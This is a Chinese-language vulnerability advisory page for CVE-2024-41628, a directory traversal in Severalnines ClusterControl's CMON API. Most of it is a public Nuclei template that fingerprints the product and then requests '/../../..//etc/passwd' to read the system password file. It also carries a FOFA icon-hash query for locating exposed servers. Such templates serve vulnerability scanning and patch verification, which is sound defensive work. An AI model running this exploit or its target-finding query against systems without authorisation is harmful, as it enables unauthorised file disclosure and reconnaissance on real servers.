CVE-2024-41628: Cluster Control CMON API - Directory Traversal

日期: 2025-08-01 | 影响软件: Cluster Control CMON API | POC: 已公开

漏洞描述

Directory Traversal vulnerability in Severalnines Cluster Control 1.9.8 before 1.9.8-9778, 2.0.0 before 2.0.0-9779, and 2.1.0 before 2.1.0-9780 allows a remote attacker to include and display file content in an HTTP request via the CMON API.

PoC代码[已公开]

id: CVE-2024-41628

info:
  name: Cluster Control CMON API - Directory Traversal
  author: s4e-io
  severity: high
  description: |
    Directory Traversal vulnerability in Severalnines Cluster Control 1.9.8 before 1.9.8-9778, 2.0.0 before 2.0.0-9779, and 2.1.0 before 2.1.0-9780 allows a remote attacker to include and display file content in an HTTP request via the CMON API.
  reference:
    - https://cvefeed.io/vuln/detail/CVE-2024-41628
    - https://github.com/Redshift-CyberSecurity/CVE-2024-41628
    - https://vuldb.com/?id.272533
    - https://vulmon.com/vulnerabilitydetails?qid=CVE-2024-41628
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2024-41628
    cwe-id: CWE-22
    epss-score: 0.84574
    epss-percentile: 0.99283
    cpe: cpe:2.3:a:severalnines:clustercontrol:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: severalnines
    product: cluster_control
    fofa-query: icon_hash="160707013" || icon_hash="-1815707560"
  tags: cve,cve2024,severalnines,cluster-control,lfi

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body,"ClusterControl","CMON_API")'
          - 'contains(content_type,"text/html")'
          - "status_code == 200"
        condition: and
        internal: true

  - raw:
      - |
        GET /../../../../../../../../..//etc/passwd HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022039fb1e2e5d3dc56f429c1cafb6701c8912e142524a9cf98fff31eb9171101c80022100cd802c1245daae418431097c17332525f609e8fb70551ff723c09918865c81f3:922c64590222798bb761d5b6d8e72950